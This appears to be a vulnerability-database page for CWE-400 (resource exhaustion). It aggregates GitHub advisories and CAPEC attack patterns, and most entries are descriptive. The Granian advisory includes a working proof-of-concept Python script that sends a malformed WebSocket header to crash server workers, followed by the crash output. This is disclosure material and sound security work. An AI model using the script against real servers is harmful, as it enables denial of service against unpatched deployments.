Common Weakness Enumeration

CWE-400

Discouraged

Uncontrolled Resource Consumption

Abstraction: Class · Status: Draft

API response cwe.mitre.org

The product does not properly control the allocation and maintenance of a limited resource.

5412 vulnerabilities reference this CWE, most recent first.

GHSA-VR3P-XMF5-V63X

Vulnerability from github – Published: 2026-06-10 00:31 – Updated: 2026-06-10 00:31
VLAI
Details

CAI Content Credentials versions c2pa-web@0.7.1, c2pa-v0.80.1 and earlier are affected by an Uncontrolled Resource Consumption vulnerability. An attacker could exploit this vulnerability to exhaust system resources, resulting in an application denial-of-service condition. Exploitation of this issue does not require user interaction.

Severity
6.2 (Medium)
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
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{
  "affected": [],
  "aliases": [
    "CVE-2026-47904"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-06-09T22:16:25Z",
    "severity": "MODERATE"
  },
  "details": "CAI Content Credentials versions c2pa-web@0.7.1, c2pa-v0.80.1 and earlier are affected by an Uncontrolled Resource Consumption vulnerability. An attacker could exploit this vulnerability to exhaust system resources, resulting in an application denial-of-service condition. Exploitation of this issue does not require user interaction.",
  "id": "GHSA-vr3p-xmf5-v63x",
  "modified": "2026-06-10T00:31:49Z",
  "published": "2026-06-10T00:31:49Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-47904"
    },
    {
      "type": "WEB",
      "url": "https://helpx.adobe.com/security/products/content-authenticity-sdk/apsb26-61.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-VR56-QJ2P-798M

Vulnerability from github – Published: 2025-07-15 21:31 – Updated: 2025-07-15 21:31
VLAI
Details

Vulnerability in the MySQL Server product of Oracle MySQL (component: Server: Replication). Supported versions that are affected are 8.0.0-8.0.42. Easily exploitable vulnerability allows high privileged attacker with network access via multiple protocols to compromise MySQL Server. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Server. CVSS 3.1 Base Score 4.9 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H).

Severity
4.9 (Medium)
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H
Show details on source website
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{
  "affected": [],
  "aliases": [
    "CVE-2025-53023"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-07-15T20:15:48Z",
    "severity": "MODERATE"
  },
  "details": "Vulnerability in the MySQL Server product of Oracle MySQL (component: Server: Replication).  Supported versions that are affected are 8.0.0-8.0.42. Easily exploitable vulnerability allows high privileged attacker with network access via multiple protocols to compromise MySQL Server.  Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Server. CVSS 3.1 Base Score 4.9 (Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H).",
  "id": "GHSA-vr56-qj2p-798m",
  "modified": "2025-07-15T21:31:43Z",
  "published": "2025-07-15T21:31:43Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-53023"
    },
    {
      "type": "WEB",
      "url": "https://www.oracle.com/security-alerts/cpujul2025.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-VR5Q-96FR-9G77

Vulnerability from github – Published: 2024-08-15 18:31 – Updated: 2024-08-15 21:31
VLAI
Details

Tenda FH1201 v1.2.0.14 (408) was discovered to contain a stack overflow via the mit_pptpusrpw parameter in the fromWizardHandle function. This vulnerability allows attackers to cause a Denial of Service (DoS) via a crafted POST request.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
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{
  "affected": [],
  "aliases": [
    "CVE-2024-42951"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-787"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-08-15T17:15:19Z",
    "severity": "HIGH"
  },
  "details": "Tenda FH1201 v1.2.0.14 (408) was discovered to contain a stack overflow via the mit_pptpusrpw parameter in the fromWizardHandle function. This vulnerability allows attackers to cause a Denial of Service (DoS) via a crafted POST request.",
  "id": "GHSA-vr5q-96fr-9g77",
  "modified": "2024-08-15T21:31:19Z",
  "published": "2024-08-15T18:31:51Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-42951"
    },
    {
      "type": "WEB",
      "url": "https://github.com/TTTJJJWWW/AHU-IoT-vulnerable/blob/main/Tenda/FH1201/fromWizardHandle_mit_pptpusrpw.md"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-VR65-Q598-5MMM

Vulnerability from github – Published: 2025-02-06 21:32 – Updated: 2025-02-07 18:31
VLAI
Details

An issue in floodlight v1.2 allows a local attacker to cause a denial of service via the Topology Manager module and Linkdiscovery module

Severity
5.5 (Medium)
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
Show details on source website
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{
  "affected": [],
  "aliases": [
    "CVE-2024-57673"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-770"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-02-06T20:15:40Z",
    "severity": "MODERATE"
  },
  "details": "An issue in floodlight v1.2 allows a local attacker to cause a denial of service via the Topology Manager module and Linkdiscovery module",
  "id": "GHSA-vr65-q598-5mmm",
  "modified": "2025-02-07T18:31:20Z",
  "published": "2025-02-06T21:32:09Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-57673"
    },
    {
      "type": "WEB",
      "url": "https://github.com/floodlight/floodlight/issues/872"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-VR8R-F4QQ-MRWQ

Vulnerability from github – Published: 2022-05-24 17:30 – Updated: 2022-06-04 00:00
VLAI
Details

A denial of service vulnerability in B&R GateManager 4260 and 9250 versions <9.0.20262 and GateManager 8250 versions <9.2.620236042 allows authenticated users to limit availability of GateManager instances.

Severity
6.5 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
Show details on source website
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{
  "affected": [],
  "aliases": [
    "CVE-2020-11645"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2020-10-15T15:15:00Z",
    "severity": "MODERATE"
  },
  "details": "A denial of service vulnerability in B\u0026R GateManager 4260 and 9250 versions \u003c9.0.20262 and GateManager 8250 versions \u003c9.2.620236042 allows authenticated users to limit availability of GateManager instances.",
  "id": "GHSA-vr8r-f4qq-mrwq",
  "modified": "2022-06-04T00:00:33Z",
  "published": "2022-05-24T17:30:43Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-11645"
    },
    {
      "type": "WEB",
      "url": "https://us-cert.cisa.gov/ics/advisories/icsa-20-273-03"
    },
    {
      "type": "WEB",
      "url": "https://www.br-automation.com/downloads_br_productcatalogue/assets/1600003183751-de-original-1.0.pdf"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-VR9V-38CG-FJFP

Vulnerability from github – Published: 2022-05-24 16:58 – Updated: 2024-07-09 12:30
VLAI
Details

A vulnerability has been identified in Development/Evaluation Kits for PROFINET IO: DK Standard Ethernet Controller (All versions), Development/Evaluation Kits for PROFINET IO: EK-ERTEC 200 (All versions), Development/Evaluation Kits for PROFINET IO: EK-ERTEC 200P (All versions), SIMATIC CFU PA (All versions < V1.2.0), SIMATIC ET 200AL (All versions), SIMATIC ET 200M (All versions), SIMATIC ET 200MP IM 155-5 PN BA (All versions < V4.2.3), SIMATIC ET 200MP IM 155-5 PN HF (All versions), SIMATIC ET 200MP IM 155-5 PN ST (All versions), SIMATIC ET 200S (All versions), SIMATIC ET 200SP IM 155-6 PN BA (All versions), SIMATIC ET 200SP IM 155-6 PN HA (All versions), SIMATIC ET 200SP IM 155-6 PN HF (All versions < V4.2.2), SIMATIC ET 200SP IM 155-6 PN HS (All versions), SIMATIC ET 200SP IM 155-6 PN ST (All versions), SIMATIC ET 200SP IM 155-6 PN/2 HF (All versions < V4.2.2), SIMATIC ET 200SP IM 155-6 PN/3 HF (All versions < V4.2.1), SIMATIC ET 200ecoPN (except 6ES7148-6JD00-0AB0 and 6ES7146-6FF00-0AB0) (All versions), SIMATIC ET 200pro (All versions), SIMATIC HMI Comfort Outdoor Panels 7" & 15" (All versions), SIMATIC HMI Comfort Panels 4" - 22" (All versions), SIMATIC HMI KTP Mobile Panels (All versions), SIMATIC PN/PN Coupler (All versions), SIMATIC PROFINET Driver (All versions < V2.1), SIMATIC S7-1200 CPU family (incl. F) (All versions), SIMATIC S7-1500 CPU family (incl. F) (All versions < V2.0), SIMATIC S7-300 CPU family (incl. F) (All versions), SIMATIC S7-400 PN/DP V7 (incl. F) (All versions), SIMATIC S7-400 V6 (incl F) and below (All versions), SIMATIC S7-400H V6 (All versions < V6.0.9), SIMATIC S7-410 V8 (All versions), SIMATIC WinAC RTX (F) 2010 (All versions < SIMATIC WinAC RTX 2010 SP3), SINAMICS DCM (All versions < V1.5 HF1), SINAMICS DCP (All versions), SINAMICS G110M V4.7 (PN Control Unit) (All versions < V4.7 SP10 HF5), SINAMICS G120 V4.7 (PN Control Unit) (All versions < V4.7 SP10 HF5), SINAMICS G130 V4.7 (Control Unit) (All versions), SINAMICS G150 (Control Unit) (All versions), SINAMICS GH150 V4.7 (Control Unit) (All versions), SINAMICS GL150 V4.7 (Control Unit) (All versions), SINAMICS GM150 V4.7 (Control Unit) (All versions), SINAMICS S110 (Control Unit) (All versions), SINAMICS S120 V4.7 (Control Unit) (All versions), SINAMICS S150 (Control Unit) (All versions), SINAMICS SL150 V4.7 (Control Unit) (All versions), SINAMICS SM120 V4.7 (Control Unit) (All versions), SINUMERIK 828D (All versions < V4.8 SP5), SINUMERIK 840D sl (All versions). Affected devices contain a vulnerability that allows an unauthenticated attacker to trigger a denial-of-service condition. The vulnerability can be triggered if a large amount of specially crafted UDP packets are sent to device. The security vulnerability could be exploited by an attacker with network access to the affected systems. Successful exploitation requires no system privileges and no user interaction. An attacker could use the vulnerability to compromise availability of the device. At the time of advisory publication no public exploitation of this security vulnerability was known.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
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{
  "affected": [],
  "aliases": [
    "CVE-2019-10936"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2019-10-10T14:15:00Z",
    "severity": "MODERATE"
  },
  "details": "A vulnerability has been identified in Development/Evaluation Kits for PROFINET IO: DK Standard Ethernet Controller (All versions), Development/Evaluation Kits for PROFINET IO: EK-ERTEC 200 (All versions), Development/Evaluation Kits for PROFINET IO: EK-ERTEC 200P (All versions), SIMATIC CFU PA (All versions \u003c V1.2.0), SIMATIC ET 200AL (All versions), SIMATIC ET 200M (All versions), SIMATIC ET 200MP IM 155-5 PN BA (All versions \u003c V4.2.3), SIMATIC ET 200MP IM 155-5 PN HF (All versions), SIMATIC ET 200MP IM 155-5 PN ST (All versions), SIMATIC ET 200S (All versions), SIMATIC ET 200SP IM 155-6 PN BA (All versions), SIMATIC ET 200SP IM 155-6 PN HA (All versions), SIMATIC ET 200SP IM 155-6 PN HF (All versions \u003c V4.2.2), SIMATIC ET 200SP IM 155-6 PN HS (All versions), SIMATIC ET 200SP IM 155-6 PN ST (All versions), SIMATIC ET 200SP IM 155-6 PN/2 HF (All versions \u003c V4.2.2), SIMATIC ET 200SP IM 155-6 PN/3 HF (All versions \u003c V4.2.1), SIMATIC ET 200ecoPN (except 6ES7148-6JD00-0AB0 and 6ES7146-6FF00-0AB0) (All versions), SIMATIC ET 200pro (All versions), SIMATIC HMI Comfort Outdoor Panels 7\" \u0026 15\" (All versions), SIMATIC HMI Comfort Panels 4\" - 22\" (All versions), SIMATIC HMI KTP Mobile Panels (All versions), SIMATIC PN/PN Coupler (All versions), SIMATIC PROFINET Driver (All versions \u003c V2.1), SIMATIC S7-1200 CPU family (incl. F) (All versions), SIMATIC S7-1500 CPU family (incl. F) (All versions \u003c V2.0), SIMATIC S7-300 CPU family (incl. F) (All versions), SIMATIC S7-400 PN/DP V7 (incl. F) (All versions), SIMATIC S7-400 V6 (incl F) and below (All versions), SIMATIC S7-400H V6 (All versions \u003c V6.0.9), SIMATIC S7-410 V8 (All versions), SIMATIC WinAC RTX (F) 2010 (All versions \u003c SIMATIC WinAC RTX 2010 SP3), SINAMICS DCM (All versions \u003c V1.5 HF1), SINAMICS DCP (All versions), SINAMICS G110M V4.7 (PN Control Unit) (All versions \u003c V4.7 SP10 HF5), SINAMICS G120 V4.7 (PN Control Unit) (All versions \u003c V4.7 SP10 HF5), SINAMICS G130 V4.7 (Control Unit) (All versions), SINAMICS G150 (Control Unit) (All versions), SINAMICS GH150 V4.7 (Control Unit) (All versions), SINAMICS GL150 V4.7 (Control Unit) (All versions), SINAMICS GM150 V4.7 (Control Unit) (All versions), SINAMICS S110 (Control Unit) (All versions), SINAMICS S120 V4.7 (Control Unit) (All versions), SINAMICS S150 (Control Unit) (All versions), SINAMICS SL150 V4.7 (Control Unit) (All versions), SINAMICS SM120 V4.7 (Control Unit) (All versions), SINUMERIK 828D (All versions \u003c V4.8 SP5), SINUMERIK 840D sl (All versions). Affected devices contain a vulnerability that allows an unauthenticated attacker to trigger a denial-of-service condition. The vulnerability can be triggered if a large amount of specially crafted UDP packets are sent to device. The security vulnerability could be exploited by an attacker with network access to the affected systems. Successful exploitation requires no system privileges and no user interaction. An attacker could use the vulnerability to compromise availability of the device. At the time of advisory publication no public exploitation of this security vulnerability was known.",
  "id": "GHSA-vr9v-38cg-fjfp",
  "modified": "2024-07-09T12:30:54Z",
  "published": "2022-05-24T16:58:25Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-10936"
    },
    {
      "type": "WEB",
      "url": "https://cert-portal.siemens.com/productcert/html/ssa-473245.html"
    },
    {
      "type": "WEB",
      "url": "https://cert-portal.siemens.com/productcert/pdf/ssa-473245.pdf"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-VRCC-G6VJ-MH5W

Vulnerability from github – Published: 2022-03-18 00:01 – Updated: 2022-03-30 20:05
VLAI
Summary
Denial of service in go-ethereum
Details

Go-Ethereum v1.10.9 was discovered to contain an issue which allows attackers to cause a denial of service (DoS) via sending an excessive amount of messages to a node. This is caused by missing memory in the component /ethash/algorithm.go.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
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{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/ethereum/go-ethereum"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "1.10.9"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2021-42219"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2022-03-18T22:37:32Z",
    "nvd_published_at": "2022-03-17T00:15:00Z",
    "severity": "HIGH"
  },
  "details": "Go-Ethereum v1.10.9 was discovered to contain an issue which allows attackers to cause a denial of service (DoS) via sending an excessive amount of messages to a node. This is caused by missing memory in the component /ethash/algorithm.go.",
  "id": "GHSA-vrcc-g6vj-mh5w",
  "modified": "2022-03-30T20:05:12Z",
  "published": "2022-03-18T00:01:13Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-42219"
    },
    {
      "type": "WEB",
      "url": "https://docs.google.com/document/d/1dYFSpNZPC0OV-n1mMqdc269u9yYU1XQy/edit?usp=sharing\u0026ouid=112110745137218798745\u0026rtpof=true\u0026sd=true"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Denial of service in go-ethereum"
}

GHSA-VRFH-PH2R-GXR9

Vulnerability from github – Published: 2025-02-06 06:31 – Updated: 2025-02-06 15:32
VLAI
Details

A prototype pollution in the lib.post function of ajax-request v1.2.3 allows attackers to cause a Denial of Service (DoS) via supplying a crafted payload.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-57076"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321",
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-02-05T22:15:31Z",
    "severity": "HIGH"
  },
  "details": "A prototype pollution in the lib.post function of ajax-request v1.2.3 allows attackers to cause a Denial of Service (DoS) via supplying a crafted payload.",
  "id": "GHSA-vrfh-ph2r-gxr9",
  "modified": "2025-02-06T15:32:52Z",
  "published": "2025-02-06T06:31:26Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-57076"
    },
    {
      "type": "WEB",
      "url": "https://gist.github.com/tariqhawis/c432b93ee7d967c2e65bc1bf39241664"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-VRG7-482J-P6F6

Vulnerability from github – Published: 2026-05-06 21:20 – Updated: 2026-05-13 16:41
VLAI
Summary
Granian vulnerable to unauthenticated DoS via WebSocket subprotocol header panic
Details

Summary

Granian aborts a worker process when an unauthenticated client sends a WebSocket upgrade request whose Sec-WebSocket-Protocol header contains non-ASCII bytes.

The crash happens in Granian's WebSocket scope construction path, before the ASGI application is invoked.

This is a single-request Denial Of Service against one worker. Repeating the request across workers takes the service offline.

Details

https://github.com/emmett-framework/granian/blob/bdd5b0fbbb2aca6f2f4c0d2700c244d190958035/src/asgi/utils.rs#L122-L125

HeaderValue::to_str() returns Err for bytes outside visible ASCII. The subsequent .unwrap() panics.

In release builds Granian sets panic = "abort", so this panic terminates the worker instead of being handled as a normal request error.

PoC

Step 1.

starts a Granian ASGI server

# app.py
async def app(scope, receive, send):
    if scope["type"] == "websocket":
        await receive()
        await send({"type": "websocket.accept"})
        return

    await send({"type": "http.response.start", "status": 200, "headers": []})
    await send({"type": "http.response.body", "body": b"ok"})

granian --interface asgi app:app --host 127.0.0.1 --port 8000

Step 2.

sending a raw upgrade request with Sec-WebSocket-Protocol: \x80\xff reached this code path and caused the worker to abort.

# ws-subproto-crash.py
import base64, os, socket, sys

host, port, path = sys.argv[1], int(sys.argv[2]), sys.argv[3]
key = base64.b64encode(os.urandom(16)).decode()

req = (
    f"GET {path} HTTP/1.1\r\nHost: {host}:{port}\r\n"
    "Upgrade: websocket\r\nConnection: Upgrade\r\n"
    f"Sec-WebSocket-Key: {key}\r\nSec-WebSocket-Version: 13\r\n"
).encode() + b"Sec-WebSocket-Protocol: \x80\xff\r\n\r\n"

with socket.create_connection((host, port), timeout=5) as s:
    s.sendall(req)
    print(s.recv(4096))

python ws-subproto-crash.py 127.0.0.1 8000 /

Observed server output:

thread '<unnamed>' panicked at src/asgi/utils.rs:125:44:
called `Result::unwrap()` on an `Err` value: ToStrError { _priv: () }
[ERROR] Unexpected exit from worker-1
[INFO] Shutting down granian

Impact

  • Unauthenticated remote denial of service
  • One crafted request kills one worker
  • The application is never reached, so application-level authentication or routing does not mitigate the issue
Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "granian"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.2.0"
            },
            {
              "fixed": "2.7.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-42544"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-20",
      "CWE-248",
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-06T21:20:48Z",
    "nvd_published_at": "2026-05-12T22:16:34Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nGranian aborts a worker process when an unauthenticated client sends a WebSocket upgrade request whose `Sec-WebSocket-Protocol` header contains non-ASCII bytes.\n\nThe crash happens in Granian\u0027s WebSocket scope construction path, before the ASGI application is invoked.\n\nThis is a single-request Denial Of Service against one worker. Repeating the request across workers takes the service offline.\n\n### Details\n\nhttps://github.com/emmett-framework/granian/blob/bdd5b0fbbb2aca6f2f4c0d2700c244d190958035/src/asgi/utils.rs#L122-L125\n\n`HeaderValue::to_str()` returns `Err` for bytes outside visible ASCII. The subsequent `.unwrap()` panics.\n\nIn release builds Granian sets `panic = \"abort\"`, so this panic terminates the worker instead of being handled as a normal request error.\n\n\n### PoC\n\n#### Step 1.\nstarts a Granian ASGI server\n\n```python\n# app.py\nasync def app(scope, receive, send):\n    if scope[\"type\"] == \"websocket\":\n        await receive()\n        await send({\"type\": \"websocket.accept\"})\n        return\n\n    await send({\"type\": \"http.response.start\", \"status\": 200, \"headers\": []})\n    await send({\"type\": \"http.response.body\", \"body\": b\"ok\"})\n```\n\n```bash\ngranian --interface asgi app:app --host 127.0.0.1 --port 8000\n```\n\n#### Step 2.\nsending a raw upgrade request with `Sec-WebSocket-Protocol: \\x80\\xff` reached this code path and caused the worker to abort.\n\n```python\n# ws-subproto-crash.py\nimport base64, os, socket, sys\n\nhost, port, path = sys.argv[1], int(sys.argv[2]), sys.argv[3]\nkey = base64.b64encode(os.urandom(16)).decode()\n\nreq = (\n    f\"GET {path} HTTP/1.1\\r\\nHost: {host}:{port}\\r\\n\"\n    \"Upgrade: websocket\\r\\nConnection: Upgrade\\r\\n\"\n    f\"Sec-WebSocket-Key: {key}\\r\\nSec-WebSocket-Version: 13\\r\\n\"\n).encode() + b\"Sec-WebSocket-Protocol: \\x80\\xff\\r\\n\\r\\n\"\n\nwith socket.create_connection((host, port), timeout=5) as s:\n    s.sendall(req)\n    print(s.recv(4096))\n```\n```bash\npython ws-subproto-crash.py 127.0.0.1 8000 /\n```\n\n\nObserved server output:\n\n```\nthread \u0027\u003cunnamed\u003e\u0027 panicked at src/asgi/utils.rs:125:44:\ncalled `Result::unwrap()` on an `Err` value: ToStrError { _priv: () }\n[ERROR] Unexpected exit from worker-1\n[INFO] Shutting down granian\n```\n\n\n### Impact\n\n- Unauthenticated remote denial of service\n- One crafted request kills one worker\n- The application is never reached, so application-level authentication or routing does not mitigate the issue",
  "id": "GHSA-vrg7-482j-p6f6",
  "modified": "2026-05-13T16:41:24Z",
  "published": "2026-05-06T21:20:48Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/emmett-framework/granian/security/advisories/GHSA-vrg7-482j-p6f6"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42544"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/emmett-framework/granian"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Granian vulnerable to unauthenticated DoS via WebSocket subprotocol header panic"
}

GHSA-VRVF-5HVC-H4G2

Vulnerability from github – Published: 2025-01-14 18:32 – Updated: 2025-01-14 18:32
VLAI
Details

Windows Kerberos Denial of Service Vulnerability

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-21218"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-01-14T18:15:33Z",
    "severity": "HIGH"
  },
  "details": "Windows Kerberos Denial of Service Vulnerability",
  "id": "GHSA-vrvf-5hvc-h4g2",
  "modified": "2025-01-14T18:32:02Z",
  "published": "2025-01-14T18:32:02Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-21218"
    },
    {
      "type": "WEB",
      "url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-21218"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}
Mitigation
Architecture and Design

Design throttling mechanisms into the system architecture. The best protection is to limit the amount of resources that an unauthorized user can cause to be expended. A strong authentication and access control model will help prevent such attacks from occurring in the first place. The login application should be protected against DoS attacks as much as possible. Limiting the database access, perhaps by caching result sets, can help minimize the resources expended. To further limit the potential for a DoS attack, consider tracking the rate of requests received from users and blocking requests that exceed a defined rate threshold.

Mitigation
Architecture and Design
  • Mitigation of resource exhaustion attacks requires that the target system either:
  • The first of these solutions is an issue in itself though, since it may allow attackers to prevent the use of the system by a particular valid user. If the attacker impersonates the valid user, they may be able to prevent the user from accessing the server in question.
  • The second solution is simply difficult to effectively institute -- and even when properly done, it does not provide a full solution. It simply makes the attack require more resources on the part of the attacker.
  • recognizes the attack and denies that user further access for a given amount of time, or
  • uniformly throttles all requests in order to make it more difficult to consume resources more quickly than they can again be freed.
Mitigation
Architecture and Design

Ensure that protocols have specific limits of scale placed on them.

Mitigation
Implementation

Ensure that all failures in resource allocation place the system into a safe posture.

CAPEC-147: XML Ping of the Death

An attacker initiates a resource depletion attack where a large number of small XML messages are delivered at a sufficiently rapid rate to cause a denial of service or crash of the target. Transactions such as repetitive SOAP transactions can deplete resources faster than a simple flooding attack because of the additional resources used by the SOAP protocol and the resources necessary to process SOAP messages. The transactions used are immaterial as long as they cause resource utilization on the target. In other words, this is a normal flooding attack augmented by using messages that will require extra processing on the target.

CAPEC-227: Sustained Client Engagement

An adversary attempts to deny legitimate users access to a resource by continually engaging a specific resource in an attempt to keep the resource tied up as long as possible. The adversary's primary goal is not to crash or flood the target, which would alert defenders; rather it is to repeatedly perform actions or abuse algorithmic flaws such that a given resource is tied up and not available to a legitimate user. By carefully crafting a requests that keep the resource engaged through what is seemingly benign requests, legitimate users are limited or completely denied access to the resource.

CAPEC-492: Regular Expression Exponential Blowup

An adversary may execute an attack on a program that uses a poor Regular Expression(Regex) implementation by choosing input that results in an extreme situation for the Regex. A typical extreme situation operates at exponential time compared to the input size. This is due to most implementations using a Nondeterministic Finite Automaton(NFA) state machine to be built by the Regex algorithm since NFA allows backtracking and thus more complex regular expressions.

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